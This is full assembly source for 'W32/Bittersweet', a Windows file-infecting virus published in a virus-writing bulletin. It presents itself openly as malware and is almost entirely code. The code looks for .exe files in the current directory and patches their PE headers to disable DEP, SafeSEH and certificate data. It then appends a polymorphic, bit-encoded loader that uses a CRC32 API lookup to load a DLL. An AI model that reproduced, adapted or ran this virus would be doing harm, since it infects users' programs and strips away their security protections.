Virus-writing Bulletin

Presents!

W32/Bittersweet

-
. ● glósóli ● .

.486
.model  flat, stdcall

CERTIFICATE_TABLE_DATA_DIRECTORY  =  98h
LOAD_CONFIG_TABLE_DATA_DIRECTORY  =  30h
DISABLE_NOSEH_DEP                 =  0f0h

CODE_SIZE  =  200h
REG_ESP    =  4
REG_ESI    =  7
POP_OP     =  58h

BIT_COUNT  =  31
BTI_SIZE   =  5
BLOCK_SIZE =  80h
CALL_OP    =  0e8h
ADD_OP     =  0c083h
BTS_OP     =  0fba6800h

.code
assume fs:nothing

NN92_exe        proc
        dec     dword ptr [esp + 8]          ;do not execute if DLL_PROCESS_DETACH
        js      DETACH
        pushad
        db      33h
        db      0dbh
        db      CALL_OP, low offset find_fs - offset delta_seh, 0, 0, 0

delta_seh:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        popad
        
DETACH:
        ret     0ch

echo  11/11/10 - Bittersweet by hh86         ;the fire in your touch I always find so hard to beat
                                             ;your love is bittersweet
NN92_exe        endp

find_fs         proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h                ;SEH protected
        enter   (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (IMAGE_DOS_HEADER.e_lfanew + 1), 0
        mov     edi, esp
        lea     esi, dword ptr [edi + LOADED_IMAGE]
        push    esi
        call    GetTickCount
        mov     seed, eax

;-------------------------------------------------------------------------------
;find exe files in current directory
;-------------------------------------------------------------------------------

        db      0e8h
        dd      6
        db      "*"
        db      "."
        db      "e"
        db      "x"
        db      "e"
        db      0
        call    FindFirstFile
        db      95h
        jmp     call_mf

find_next:
        db      56h
        db      55h
        call    FindNextFile 
        test    eax, eax
        jz      call_seh

call_mf:
        pushad
        db      CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0

delta_seh:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        popad
        jmp     find_next
find_fs         endp

;-------------------------------------------------------------------------------
;create map
;-------------------------------------------------------------------------------

map_file        proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h                ;SEH protected
        db      8dh
        db      4eh
        db      WIN32_FIND_DATA.cFileName
        db      57h
        db      53h
        db      53h
        db      57h
        db      53h
        db      51h
        call    MapAndLoad
        db      48h
        js      call_seh                     ;no unmap happens if zero
        db      CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0

delta_os:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        call    UnMapAndLoad 
map_file        endp

call_seh        label    near
        int     3

infect_exe      proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h

;-------------------------------------------------------------------------------
;32-bit machine
;GUI or CUI
;-------------------------------------------------------------------------------

        db      8bh
        db      6fh
        db      LOADED_IMAGE.MappedAddress
        db      8bh
        db      47h
        db      LOADED_IMAGE.FileHeader
        db      0f6h
        db      40h
        db      IMAGE_NT_HEADERS.FileHeader.Characteristics + 1
        db      high IMAGE_FILE_32BIT_MACHINE
        jz      call_seh
        db      8ah
        db      48h
        db      IMAGE_NT_HEADERS.OptionalHeader.Subsystem
        db      49h
        db      49h
        db      80h
        db      0f9h
        db      IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI
        jnbe    call_seh

;-------------------------------------------------------------------------------
;disable NO_SEH and DEP
;-------------------------------------------------------------------------------

        db      80h
        db      60h
        db      IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1
        db      DISABLE_NOSEH_DEP

;-------------------------------------------------------------------------------
;PE size must be equal to file size
;certificate table must be at end of last section
;-------------------------------------------------------------------------------

        db      8bh
        db      57h
        db      LOADED_IMAGE.Sections
        db      8bh                          ;DWORD not WORD ;)
        db      4fh
        db      LOADED_IMAGE.NumberOfSections
        db      6bh
        db      0c9h
        db      sizeof IMAGE_SECTION_HEADER
        db      8dh
        db      74h
        db      11h
        db      -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData)
        db      8dh
        db      88h
        dd      CERTIFICATE_TABLE_DATA_DIRECTORY
        db      8bh
        db      56h
        db      sizeof IMAGE_SECTION_HEADER.PointerToRawData
        db      3
        db      16h
        db      0b7h
        db      20h                          ;more size required this time
        db      39h
        db      19h
        jb      call_seh
        db      39h
        db      11h
        jne     call_seh

;-------------------------------------------------------------------------------
;set to zero the certificate table data directory
;disable SafeSEH
;-------------------------------------------------------------------------------

        fldz
        fstp    qword ptr [ecx]
        fldz
        db      0ddh
        db      59h
        db      LOAD_CONFIG_TABLE_DATA_DIRECTORY

;-------------------------------------------------------------------------------
;increase image and section size
;-------------------------------------------------------------------------------

        db      1
        db      5eh
        db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize)
        db      1
        db      58h
        db      IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage
        db      8bh
        db      4eh
        db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress)
        db      3
        db      0eh
        db      1                            ;increase raw size
        db      1eh
        or      dword ptr [esi + (IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData)], IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
        lea     edi, dword ptr [ebp + edx]
        pushad
        mov     esi, offset require
        mov     ecx, dword ptr [eax + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
                                             ;do not alter entrypoint until code is inserted successfully
        mov     dword ptr [esi + sizeof STACK_REG.LO32_ESP - 3], ecx
        mov     ecx, ebx
        push    edi
        xor     al, al
        rep     stosb
        pop     edi
        mov     al, 0e8h
        stosb
        mov     eax, 200h
        stosd
        lea     ebp, dword ptr [edi + BTI_SIZE - 1]
        add     edi, eax

rand_reg:
        push    REG_ESI
        call    nrandom
        cmp     al, REG_ESP
        je      rand_reg
        mov     edx, eax
        add     al, POP_OP
        stosb
        push    edi
        call    mkblock
        pop     ebx
        call    x
        mov     ax, ADD_OP
        add     ah, dl
        stosw
        push    eax
        mov     al, BLOCK_SIZE - 4
        stosb
        push    edi
        call    mkblock
        pop     ebx
        call    x
        pop     eax
        add     ah, 28h
        stosw
        mov     byte ptr [edi], BLOCK_SIZE - 8
        add     ax, 0f87eh - 2
        mov     word ptr [edi + 1], ax
        popad
        mov     dword ptr [eax + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint], ecx
        int     3

mkblock         proc
        push    0
        push    BTI_SIZE - 1
        pop     ebx

load_val:
        push    BIT_COUNT
        pop     ecx
        push    2
        call    nrandom
        shl     eax, 8
        lea     eax, dword ptr [eax * 8 + BTS_OP]
        add     ah, dl
        cmp     ah, 70h
        jb      bts_lines

btr_lines:
        bt      dword ptr [esi], ecx
        jc      btr_gnext
        call    write_bt

btr_gnext:
        dec     ecx
        jns     btr_lines
        mov     dword ptr [ebp], ecx
        jmp     new_value

bts_lines:
        bt      dword ptr [esi], ecx
        jnc     bts_gnext
        call    write_bt

bts_gnext:
        dec     ecx
        jns     bts_lines

new_value:
        lodsd
        add     ebp, BTI_SIZE - 1
        add     bl, BTI_SIZE - 1
        cmp     bl, BLOCK_SIZE
        jne     load_val
        pop     eax
        ret
mkblock         endp

write_bt        proc
        push    eax
        add     eax, ebx
        bswap   eax
        stosd
        mov     al, cl
        stosb
        pop     eax
        inc     dword ptr [esp + 4]
        ret
write_bt        endp

;-------------------------------------------------------------------------------
;randomly swap instructions and increase bit offset
;-------------------------------------------------------------------------------

x               proc
        pushad
        mov     edi, ebx
        xchg    esi, eax
        mov     ecx, 9000h

swap_loop:
        push    esi
        call    nrandom
        imul    eax, eax, BTI_SIZE
        mov     edx, dword ptr [edi + eax]
        mov     bl, byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1]
        add     bl, BIT_COUNT + 1
        push    eax
        push    esi
        call    nrandom
        imul    eax, eax, BTI_SIZE
        xchg    dword ptr [edi + eax], edx
        xchg    byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1], bl 
        pop     eax
        mov     dword ptr [edi + eax], edx
        mov     byte ptr [edi + eax + ((offset require_e - offset require_s) / 32) - 1], bl
        loop    swap_loop
        popad
        ret
x               endp
infect_exe      endp

.data
seed            dd     "VC!"

.code

;-------------------------------------------------------------------------------
;random number generator by Nan
;some modifications were added to support preservation of volatile registers
;and free stack of arg0.  I also changed some MOVs :)
;-------------------------------------------------------------------------------

nrandom         proc
        push    ecx
        push    edx
        mov     eax, seed
        test    eax, 80000000h
        jz      label1
        add     eax, 7fffffffh

label1:
        xor     edx, edx
        mov     ecx, 127773
        div     ecx
        xchg    ecx, eax
        mov     eax, 16807
        mul     edx
        mov     edx, ecx
        xchg    ecx, eax
        mov     eax, 2836
        mul     edx
        sub     ecx, eax
        xor     edx, edx
        xchg    eax, ecx
        mov     seed, eax
        div     dword ptr [esp + 4 + 8]
        xchg    edx, eax
        pop     edx
        pop     ecx
        ret     4
nrandom         endp

;-------------------------------------------------------------------------------
;load DLL code
;-------------------------------------------------------------------------------

.const
IMAGE_DIRECTORY_ENTRY_EXPORT = 78h

.data?
STACK_REG struct
LO32_EDI       dd   ?
LO32_ESI       dd   ?
LO32_EBP       dd   ?
LO32_ESP       dd   ?
LO32_EBX       dd   ?
LO32_EDX       dd   ?
LO32_ECX       dd   ?
LO32_EAX       dd   ?
STACK_REG ends


.code
require_s       label    near
require         proc
        db      68h
        dd      "v!"
        db      60h
        db      6ah
        db      30h                          ;process environment block
        db      5eh
        db      64h
        db      8bh
        db      6
        db      8bh                          ;retrieve imagebase
        db      40h
        db      8
        db      1                            ;convert to relative virtual address
        db      44h
        db      34h
        db      -(STACK_REG.LO32_EAX - STACK_REG.LO32_ESP)
        db      33h
        db      0d2h
        db      0e8h                         ;skip SE handler
        dd      0bh
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        db      61h
        ret
        db      64h
        db      0ffh
        db      32h
        db      64h
        db      89h
        db      22h
        db      64h
        db      0adh
        db      8bh
        db      40h
        db      0ch
        db      8bh
        db      70h
        db      14h
        db      0adh
        db      8bh
        db      0
        db      8bh
        db      68h
        db      10h
        call    skip_crc 
        dd      03fc1bd8dh
        dd      0da68238fh

;-------------------------------------------------------------------------------
;DLL name
;-------------------------------------------------------------------------------

        db      30h, 0

skip_crc:
        db      5eh
 
;-------------------------------------------------------------------------------
;walk lists
;-------------------------------------------------------------------------------

crc32   macro
        db      32h
        db      7
        db      6ah
        db      8
        db      59h
        db      0d1h
        db      0e8h
        db      73h
        db      5
        db      35h
        dd      0edb88320h
        db      0e2h
        db      0f5h
        db      47h
        db      38h
        db      0fh
        db      75h
        db      0ebh
endm

import_next:
        db      8bh
        db      45h
        db      IMAGE_DOS_HEADER.e_lfanew
        db      8bh
        db      5ch
        db      28h
        db      IMAGE_DIRECTORY_ENTRY_EXPORT
        db      3
        db      0ddh

export_next:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNames
        db      3
        db      0fdh
        db      8bh
        db      3ch
        db      97h
        db      0f9h
        db      1bh
        db      0c0h
        db      3
        db      0fdh
        crc32
        db      0f7h
        db      0d0h
        db      39h
        db      6
        je      l_res
        db      42h
        db      39h
        db      53h
        db      IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
        jne     export_next
        int     3

;-------------------------------------------------------------------------------
;resolve API address
;-------------------------------------------------------------------------------

l_res:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        db      3
        db      0fdh
        db      0fh
        db      0b7h
        db      3ch
        db      57h
        db      8bh
        db      43h
        db      IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        db      3
        db      0c5h
        db      8bh
        db      4
        db      0b8h
        db      3
        db      0c5h
        db      50h
        db      0adh
        db      33h
        db      0d2h
        db      80h
        db      3eh
        db      30h
        jne     import_next
        db      8bh
        db      0dch
        db      56h
        db      0ffh, 53h, 4                 ;call LoadLibraryA
        db      50h
        db      0ffh, 13h                    ;call FreeLibrary
        int     3
require         endp
require_e       label    near
end     NN92_exe
So, here I am.
Virus-writing Bulletin 2011